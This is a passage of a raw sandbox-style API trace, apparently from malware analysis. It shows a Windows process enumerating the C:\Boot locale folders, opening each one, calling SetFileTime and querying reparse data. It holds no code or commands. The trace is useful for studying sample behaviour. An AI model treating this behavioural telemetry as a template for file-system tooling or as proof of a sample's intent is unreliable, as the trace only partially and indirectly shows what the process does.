nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0254.229] FindNextFileW (in: hFindFile=0x548fc0, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea239054, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x17250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0254.229] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8e9d8 [0254.229] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8e9d8) returned 1 [0254.229] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8e9d8 [0254.229] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8e9d8) returned 1 [0254.229] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8e9d8 [0254.229] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x18) returned 0x943ec0 [0254.229] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8f610 [0254.229] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8e9d8) returned 1 [0254.229] FindNextFileW (in: hFindFile=0x548fc0, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea239054, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x17250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0254.229] GetLastError () returned 0x12 [0254.229] FindFirstFileExW (in: lpFileName="C:\\Boot\\el-GR\\*", fInfoLevelId=0x1, lpFindFileData=0x118f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118f4c4) returned 0x548f40 [0254.230] FindClose (in: hFindFile=0x548fc0 | out: hFindFile=0x548fc0) returned 1 [0254.230] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0254.230] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea239054, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x17250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0254.230] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea239054, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x17250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0254.230] GetLastError () returned 0x12 [0254.230] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8ea60) returned 1 [0254.230] FindClose (in: hFindFile=0x548f40 | out: hFindFile=0x548f40) returned 1 [0254.230] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8eae8) returned 1 [0254.230] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8ee18) returned 1 [0254.230] FindNextFileW (in: hFindFile=0x549000, lpFindFileData=0x118f77c | out: lpFindFileData=0x118f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0254.230] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8ee18 [0254.230] GetFileAttributesExW (in: lpFileName="C:\\Boot\\en-US" (normalized: "c:\\boot\\en-us"), fInfoLevelId=0x0, lpFileInformation=0x118f678 | out: lpFileInformation=0x118f678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0254.300] CreateFileW (lpFileName="C:\\Boot\\en-US" (normalized: "c:\\boot\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x188 [0254.300] SetFileTime (hFile=0x188, lpCreationTime=0x0, lpLastAccessTime=0x118f6bc, lpLastWriteTime=0x118f6bc) returned 0 [0254.300] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x4000) returned 0x949690 [0254.301] DeviceIoControl (in: hDevice=0x188, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x949690, nOutBufferSize=0x4000, lpBytesReturned=0x118f714, lpOverlapped=0x0 | out: lpOutBuffer=0x949690, lpBytesReturned=0x118f714, lpOverlapped=0x0) returned 0 [0254.301] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x949690) returned 1 [0254.301] NtClose (Handle=0x188) returned 0x0 [0254.301] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8ee18) returned 1 [0254.301] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8ee18 [0254.301] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8eae8 [0254.301] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8ea60 [0254.301] FindFirstFileExW (in: lpFileName="C:\\Boot\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x118f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118f4c4) returned 0x548f40 [0254.301] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0254.301] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x14c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0254.301] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8e9d8 [0254.301] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8e9d8) returned 1 [0254.301] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8e9d8 [0254.301] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8e9d8) returned 1 [0254.301] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8e9d8 [0254.301] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x18) returned 0x943ee0 [0254.301] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8f698 [0254.301] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8e9d8) returned 1 [0254.301] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xc3080a8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xaa50, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="")) returned 1 [0254.301] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8e9d8 [0254.302] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8e9d8) returned 1 [0254.302] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8e9d8 [0254.302] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8e9d8) returned 1 [0254.302] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8e9d8 [0254.302] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x18) returned 0x943f00 [0254.302] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8f720 [0254.302] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8e9d8) returned 1 [0254.302] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xc3080a8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xaa50, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="")) returned 0 [0254.302] GetLastError () returned 0x12 [0254.302] FindFirstFileExW (in: lpFileName="C:\\Boot\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x118f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118f4c4) returned 0x548fc0 [0254.302] FindClose (in: hFindFile=0x548f40 | out: hFindFile=0x548f40) returned 1 [0254.302] FindNextFileW (in: hFindFile=0x548fc0, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0254.302] FindNextFileW (in: hFindFile=0x548fc0, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x14c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0254.302] FindNextFileW (in: hFindFile=0x548fc0, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xc3080a8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xaa50, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="")) returned 1 [0254.302] FindNextFileW (in: hFindFile=0x548fc0, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xc3080a8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xaa50, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="")) returned 0 [0254.302] GetLastError () returned 0x12 [0254.302] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8ea60) returned 1 [0254.302] FindClose (in: hFindFile=0x548fc0 | out: hFindFile=0x548fc0) returned 1 [0254.302] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8eae8) returned 1 [0254.302] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8ee18) returned 1 [0254.302] FindNextFileW (in: hFindFile=0x549000, lpFindFileData=0x118f77c | out: lpFindFileData=0x118f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-ES", cAlternateFileName="")) returned 1 [0254.302] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8ee18 [0254.303] GetFileAttributesExW (in: lpFileName="C:\\Boot\\es-ES" (normalized: "c:\\boot\\es-es"), fInfoLevelId=0x0, lpFileInformation=0x118f678 | out: lpFileInformation=0x118f678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0254.366] CreateFileW (lpFileName="C:\\Boot\\es-ES" (normalized: "c:\\boot\\es-es"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x14c [0254.366] SetFileTime (hFile=0x14c, lpCreationTime=0x0, lpLastAccessTime=0x118f6bc, lpLastWriteTime=0x118f6bc) returned 0 [0254.366] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x4000) returned 0x949690 [0254.367] DeviceIoControl (in: hDevice=0x14c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x949690, nOutBufferSize=0x4000, lpBytesReturned=0x118f714, lpOverlapped=0x0 | out: lpOutBuffer=0x949690, lpBytesReturned=0x118f714, lpOverlapped=0x0) returned 0 [0254.367] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x949690) returned 1 [0254.367] NtClose (Handle=0x14c) returned 0x0 [0254.367] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8ee18) returned 1 [0254.367] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8ee18 [0254.367] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8eae8 [0254.367] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8ea60 [0254.367] FindFirstFileExW (in: lpFileName="C:\\Boot\\es-ES\\*", fInfoLevelId=0x1, lpFindFileData=0x118f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118f4c4) returned 0x548fc0 [0254.367] FindNextFileW (in: hFindFile=0x548fc0, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0254.367] FindNextFileW (in: hFindFile=0x548fc0, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84ea6d7, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0254.367] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8e9d8 [0254.367] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8e9d8) returned 1 [0254.367] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8e9d8 [0254.367] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8e9d8) returned 1 [0254.367] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8e9d8 [0254.367] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x18) returned 0x943f20 [0254.367] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8f7a8 [0254.367] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8f830 [0254.367] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x948518) returned 1 [0254.367] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8e9d8) returned 1 [0254.367] FindNextFileW (in: hFindFile=0x548fc0, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84ea6d7, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0254.367] GetLastError () returned 0x12 [0254.368] FindFirstFileExW (in: lpFileName="C:\\Boot\\es-ES\\*", fInfoLevelId=0x1, lpFindFileData=0x118f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118f4c4) returned 0x548f40 [0254.368] FindClose (in: hFindFile=0x548fc0 | out: hFindFile=0x548fc0) returned 1 [0254.368] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0254.368] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84ea6d7, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0254.368] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84ea6d7, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0254.368] GetLastError () returned 0x12 [0254.368] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8ea60) returned 1 [0254.368] FindClose (in: hFindFile=0x548f40 | out: hFindFile=0x548f40) returned 1 [0254.368] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8eae8) returned 1 [0254.368] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8ee18) returned 1 [0254.368] FindNextFileW (in: hFindFile=0x549000, lpFindFileData=0x118f77c | out: lpFindFileData=0x118f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-FI", cAlternateFileName="")) returned 1 [0254.368] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8ee18 [0254.368] GetFileAttributesExW (in: lpFileName="C:\\Boot\\fi-FI" (normalized: "c:\\boot\\fi-fi"), fInfoLevelId=0x0, lpFileInformation=0x118f678 | out: lpFileInformation=0x118f678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0254.368] CreateFileW (lpFileName="C:\\Boot\\fi-FI" (normalized: "c:\\boot\\fi-fi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x188 [0254.369] SetFileTime (hFile=0x188, lpCreationTime=0x0, lpLastAccessTime=0x118f6bc, lpLastWriteTime=0x118f6bc) returned 0 [0254.369] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x4000) returned 0x949690 [0254.369] DeviceIoControl (in: hDevice=0x188, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x949690, nOutBufferSize=0x4000, lpBytesReturned=0x118f714, lpOverlapped=0x0 | out: lpOutBuffer=0x949690, lpBytesReturned=0x118f714, lpOverlapped=0x0) returned 0 [0254.369] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x949690) returned 1 [0254.369] NtClose (Handle=0x188) returned 0x0 [0254.369] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8ee18) returned 1 [0254.369] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8ee18 [0254.369] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8eae8 [0254.369] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8ea60 [0254.369] FindFirstFileExW (in: lpFileName="C:\\Boot\\fi-FI\\*", fInfoLevelId=0x1, lpFindFileData=0x118f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118f4c4) returned 0x548f40 [0254.369] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0254.369] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe836d95d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0254.369] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8e9d8 [0254.369] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8e9d8) returned 1 [0254.369] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8e9d8 [0254.370] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8e9d8) returned 1 [0254.370] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8e9d8 [0254.370] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x18) returned 0x944200 [0254.370] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8f8b8 